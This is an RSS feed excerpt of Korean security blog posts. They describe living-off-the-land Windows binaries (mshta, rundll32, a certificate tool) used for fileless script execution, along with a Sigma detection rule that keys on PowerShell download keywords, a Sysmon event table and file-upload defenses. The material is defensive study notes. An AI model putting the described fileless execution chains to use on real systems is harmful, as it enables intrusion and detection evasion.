this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;137&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;원도우 인증서 조회하고 관리, 원격 서버에서 파일 다운로드, Base64 형태의 데이터 디코딩&lt;/li&gt;
&lt;li&gt;공격자는 외부 서버에 저장된 파일을 문자열 또는 인코딩된 데이터 형태로 다운로드 후, 해당 도구를 사용하여 디코딩 함&lt;/li&gt;
&lt;li&gt;네트워크 상에서는 실행 파일 형태로 전달되지 않고 단순한 텍스트나 인코딩된 파일 처럼 보임&lt;/li&gt;
&lt;li&gt;별도의 악성 도구 없이 인증된 해당 도구만으로 다운로드, 변환, 실행까지 이루워짐&lt;/li&gt;
&lt;li&gt;분석 관점에서는 단순히 해당 도구 실행 여부 중점이 아닌 '어떤 인자'를 가지고 실행 되었은지가 중점이 되어야 함&lt;/li&gt;
&lt;li&gt;일반적인 인증서 관리 목적이라면 외부 서버와 통신하거나 실행 파일 생성할 이유가 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[mshta.exe]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;117&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEqfxv/dJMcafzZPa6/0Hv778EIIn6qpFFAKqRSBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEqfxv/dJMcafzZPa6/0Hv778EIIn6qpFFAKqRSBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEqfxv/dJMcafzZPa6/0Hv778EIIn6qpFFAKqRSBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEqfxv%2FdJMcafzZPa6%2F0Hv778EIIn6qpFFAKqRSBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;117&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;117&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTA : HTML과 스크립트로 구성된 애플리케이션으로 브라우저 보안 정책 영향 없이 로컬 시스템 권한으로 실행 가능&lt;/li&gt;
&lt;li&gt;HTA 파일을 명령어를 통해 직접 실행 하도록 제공하는 도구&lt;/li&gt;
&lt;li&gt;외부 서버에 호스팅된 악성 스크립트 실행
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;C2 서버에 HTA 파일이나 스크립트를 업로드 후, 스크립트를 직접 실행&lt;/li&gt;
&lt;li&gt;로컬 디스크에 실행 파일이 저장되지 않고 스크립트 형태로만 동작하기 때문에 파일 기반 탐지 우회 쉬움&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;레지스트리에 은닉된 스크립트 실행
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;악성 스크립트를 파일로 저장하지 않고, 레지스트리 값에 문자열 형태로 은닉하여 메모리상에서 바로 실행&lt;/li&gt;
&lt;li&gt;디스크에 명확한 악성 파일이 남지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;HTA 환경에서 자바스크립트와 ActiveXObject를 함께 사용 가능하여 명령 실행, 파일 생성, 추가 스크립트 호출 등 후속 행위 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[rundll32.exe]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bh43YK/dJMcajoKVMW/7UjbYDPjURC43jjKzIrQwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bh43YK/dJMcajoKVMW/7UjbYDPjURC43jjKzIrQwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bh43YK/dJMcajoKVMW/7UjbYDPjURC43jjKzIrQwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbh43YK%2FdJMcajoKVMW%2F7UjbYDPjURC43jjKzIrQwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;190&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DLL 파일에 포함된 익스포트 함수를 실행하기 위한 도구&lt;/li&gt;
&lt;li&gt;제어판 항목 실행, 시스템 설정 호출 등 정상적인 운영체제 동작에 사용&lt;/li&gt;
&lt;li&gt;파워쉘 스크립트 실행
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;직접 DLL로드가 아닌 다른 LOL 바이너리와 연계하여 스크립트 실행하는 구조를 구성&lt;/li&gt;
&lt;li&gt;'rundll32.exe &amp;gt; mshta.exe &amp;gt; powershell.exe' 같은 실행 흐름을 형성하여, 스크립트 파일을 디스크에 저장하지 않고 메모상에서만 실행되어 '파일 기반 탐지 우회'&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;자바스크립트 스킴 이용한 스크립트 실행
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 호출 방식으로 자바스크립트 코드 실행 허용하는 구조를 가짐&lt;/li&gt;
&lt;li&gt;공격자는 자바스크립트 코드 내부에 ActiveXObject를 생성하고, 이를 통해 추가 명령 실행&lt;/li&gt;
&lt;li&gt;파워쉘이 호출되어, 외부 서버로 부터 스크립트 다운로드하여 즉시 실행 가능 형태&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;본래 목적인 DLL 실행에 벗어나, 스크립트 실행과 명령 전달을 위해 중간 연결(허브)로 사용됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/보안 개념</category>
      <author>no-brake</author>
      <guid isPermaLink="true">https://no-brake.tistory.com/180</guid>
      <comments>https://no-brake.tistory.com/180#entry180comment</comments>
      <pubDate>Tue, 26 May 2026 16:17:10 +0900</pubDate>
    </item>
    <item>
      <title>시스마 룰</title>
      <link>https://no-brake.tistory.com/179</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[정의]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;YAML 문법을 이용하여 보안과 관련된 이벤트를 표현하기 위한 규칙의 집합&lt;/li&gt;
&lt;li&gt;다양한 형식을 가진 로그에 적용하여 보안 관련 이벤트 식별하는데 사용&lt;/li&gt;
&lt;li&gt;SIEM 벤더나&amp;nbsp; 플랫폼마다 보안 이벤트 탐지에 사용되는 규칙 호환 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[시그마 룰 포멧]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;638&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ky6lF/dJMcadB34y0/cktuXZq3mGsMQKzHWZTsq0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ky6lF/dJMcadB34y0/cktuXZq3mGsMQKzHWZTsq0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ky6lF/dJMcadB34y0/cktuXZq3mGsMQKzHWZTsq0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fky6lF%2FdJMcadB34y0%2FcktuXZq3mGsMQKzHWZTsq0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;638&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;638&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[룰 예시]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1278&quot; data-origin-height=&quot;308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baqJtR/dJMcaccbpgt/1cnV45iUeqfHM3N0AB7hj1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baqJtR/dJMcaccbpgt/1cnV45iUeqfHM3N0AB7hj1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baqJtR/dJMcaccbpgt/1cnV45iUeqfHM3N0AB7hj1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaqJtR%2FdJMcaccbpgt%2F1cnV45iUeqfHM3N0AB7hj1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1278&quot; height=&quot;308&quot; data-origin-width=&quot;1278&quot; data-origin-height=&quot;308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실행된 프로세스 이미지 경로가 &quot;\cmd.exe&quot;로 끝나는 경우 탐지&lt;/li&gt;
&lt;li&gt;공격자가 경로 변경을 한 후 실행했어도 파일명 변경 안할 시 탐지 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;718&quot; data-origin-height=&quot;455&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bq8boz/dJMcaiKfFuD/8JnDA91XafMiTOcWclc4zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bq8boz/dJMcaiKfFuD/8JnDA91XafMiTOcWclc4zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bq8boz/dJMcaiKfFuD/8JnDA91XafMiTOcWclc4zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbq8boz%2FdJMcaiKfFuD%2F8JnDA91XafMiTOcWclc4zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;718&quot; height=&quot;455&quot; data-origin-width=&quot;718&quot; data-origin-height=&quot;455&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;'Net.WebClient', 'DownloadFile', 'DownloadString', 'Invoke-WebRequest' : 해당 명령어들은 축약어가 사용 가능해 강력한 명령어들 이다.&lt;/li&gt;
&lt;li&gt;시스템 관리자 계정 사용한 내역은 제외 하므로서 오탐률을 줄인다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>보안/보안 개념</category>
      <author>no-brake</author>
      <guid isPermaLink="true">https://no-brake.tistory.com/179</guid>
      <comments>https://no-brake.tistory.com/179#entry179comment</comments>
      <pubDate>Tue, 26 May 2026 13:32:35 +0900</pubDate>
    </item>
    <item>
      <title>SYSMON</title>
      <link>https://no-brake.tistory.com/178</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[개념]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;윈도우 시스템 이벤트 모니터링 도구&lt;/li&gt;
&lt;li&gt;프로세스 생성, 네트워크 연결, 파일 생성/수정/접근, 레지스트리의 생성/수집/접근 등의 상세 정보를 윈도우 이벤트 로그 파일 형태로 기록하는 '이벤트 수집 에이전트'&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 696px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 21px;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 21px;&quot;&gt;Event ID&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 21px;&quot;&gt;이벤트 명칭&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center; height: 21px;&quot;&gt;상세 내용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 42px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 324px;&quot; rowspan=&quot;7&quot;&gt;프로세스&amp;nbsp;및&amp;nbsp;드라이버&amp;nbsp;(Process&amp;nbsp;Lifecycle&amp;nbsp;&amp;amp;&amp;nbsp;Execution)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 42px;&quot;&gt;ID&amp;nbsp;1&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 42px;&quot;&gt;프로세스&amp;nbsp;생성&amp;nbsp;(Process&amp;nbsp;Create)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 42px;&quot;&gt;전체 명령어 라인, 부모 프로세스(PPID), 해시 값 등을 기록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 38px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;ID 5&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;프로세스 종료 (Process Terminated)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;프로세스가 종료될 때 생성, 공격 도구가 실행 후 흔적 지우기 위해 종료되는 시점 파악&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 21px;&quot;&gt;ID 6&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 21px;&quot;&gt;드라이버 로드 (Driver Loaded)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 21px;&quot;&gt;서명 정보 및 해시 로깅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 21px;&quot;&gt;ID 7&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 21px;&quot;&gt;이미지 로드 (Image Loaded)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 21px;&quot;&gt;DLL 로드 시 발생&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 38px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;ID 8&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;원격 스레드 생성 (CreateRemoteThread)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;프로세스 인젝션 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 126px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 126px;&quot;&gt;ID 10&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 126px;&quot;&gt;프로세스&amp;nbsp;액세스(Process Access)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 126px;&quot;&gt;한&amp;nbsp;프로세스가&amp;nbsp;다른&amp;nbsp;프로세스(예:&amp;nbsp;메모리나&amp;nbsp;스레드)를&amp;nbsp;열려고&amp;nbsp;시도할&amp;nbsp;때&amp;nbsp;기록&lt;br /&gt;코드를 삽입(Process Injection)하거나 권한을 획득하려는 행위를 탐지에 유용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 38px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;ID 25&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;프로세스 탬퍼링 (Process Tampering)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 51px;&quot; rowspan=&quot;3&quot;&gt;네트워크&amp;nbsp;및&amp;nbsp;통신&amp;nbsp;(Network&amp;nbsp;&amp;amp;&amp;nbsp;IPC)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ID&amp;nbsp;3&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;네트워크 연결 (Network Connect)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;TCP/UDP 연결, 출발지/목적지 IP 및 포트, 프로세스 정보 로깅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ID 17, 18&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;파이프 생성/연결 (PipeEvent)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;프로세스 간 통신(IPC) 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ID 22&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;DNS 쿼리 (DNS Query)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;프로세스가 수행한 DNS 조회 기록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 38px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 194px;&quot; rowspan=&quot;5&quot;&gt;파일&amp;nbsp;시스템&amp;nbsp;(File&amp;nbsp;System)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;ID 2&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;파일 생성 시간 변경 (File Creation Time Changed)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;공격자의 파일 위장 행위 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ID&amp;nbsp;11&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;파일 생성 (File Created)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;새로운 파일 생성 기록, 랜섬웨어의 암호화 파일 생성 또는 악성 코드 드랍 감시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 84px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 84px;&quot;&gt;ID 12~14&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 84px;&quot;&gt;레지스트리 변경 사항 추적 (Registry Events)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 84px;&quot;&gt;레지스터리&amp;nbsp; 키 및 값의 생성, 삭제, 이름 변경 등을 감지, 공격자의 지속성 확보 시도를 파악하는데 유용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 38px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;ID 15&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;파일 스트림 생성 (File Stream Created)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ID 23, 26&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;파일 삭제 (File Delete)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;파일 삭제 행위 기록, 설정에 따라 삭제된 아카이브 디렉토리에 백업하여 분석 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 38px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 106px;&quot; rowspan=&quot;5&quot;&gt;시스템&amp;nbsp;구성&amp;nbsp;및&amp;nbsp;레지스트리&amp;nbsp;(Registry&amp;nbsp;&amp;amp;&amp;nbsp;System&amp;nbsp;State)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;ID 4&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;Sysmon 서비스 상태 변경 (Service State Changed)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 38px;&quot;&gt;Sysmon 서비스 시작 또는 중지되었을 때 기록, 공격자가 감시 회피 목적으로 서비스 종료 확인 용도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ID&amp;nbsp;12&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;레지스트리 생성 및 삭제 (Registry Object added or deleted)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;공격자의 지속성 확보 시도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ID 13&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;레지스트리 값 변경 (Registry Value set)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;자동 시작 프로그램(Run 키 등) 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ID 14&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;레지스트리 이름 변경 (Registry Object renamed)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;공격자의 지속성 확보 시도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;ID 16&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;Sysmon 구성 변경 (Config State Changed)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[설정 파일 예시]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;541&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dOf0et/dJMcacwvwr7/woRlvChCrPPa7fP835nUSk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dOf0et/dJMcacwvwr7/woRlvChCrPPa7fP835nUSk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dOf0et/dJMcacwvwr7/woRlvChCrPPa7fP835nUSk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdOf0et%2FdJMcacwvwr7%2FwoRlvChCrPPa7fP835nUSk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;541&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;541&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;lt;sysmon&amp;gt;&amp;lt;/sysmon&amp;gt; : 최상위 태그, 'schemaversion' 속성으로 SYSMON에게 버전 전달&lt;/li&gt;
&lt;li&gt;&amp;lt;EventFilltering&amp;gt; : 이벤트 ID 별로 '기억할 항목(include)'와 '제외할 항목(exculde)' 정의&lt;/li&gt;
&lt;li&gt;예시 내용 : 모든 프로세스의 생성활동은 기록하고, 크롬 브라우저에서 발생하는 네트워크 연결만 기록에서 제외&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>보안/보안 개념</category>
      <author>no-brake</author>
      <guid isPermaLink="true">https://no-brake.tistory.com/178</guid>
      <comments>https://no-brake.tistory.com/178#entry178comment</comments>
      <pubDate>Tue, 26 May 2026 10:53:22 +0900</pubDate>
    </item>
    <item>
      <title>파일 업로드 취약점 대응 방안(보안코딩)</title>
      <link>https://no-brake.tistory.com/177</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[원천적 대응]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드 폴더를 웹 폴더가 아닌 다른 장소에 위치&lt;/li&gt;
&lt;li&gt;웹 폴더 내부 위치시 웹 사이트에서 직접적 호출 가능&lt;/li&gt;
&lt;li&gt;업로드 폴더 실행 권한 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[완화적 대응]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드 가능한 파일 확장자 제한
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;필터링이 완벽하지 못하다면 우회 수단 존재 할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;업로드 파일명을 랜덤한 값으로 임의로 변경하여 파일명 예측 못하도록 함&lt;/li&gt;
&lt;li&gt;업로드 디렉토리에 서버 스크립트 언어를 사용하지 못하도록 설정, 웹 쉘 업로드 되었더라도 실행 불가 함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[확장자 우회 대응 실습]&lt;/b&gt;&lt;/p&gt;
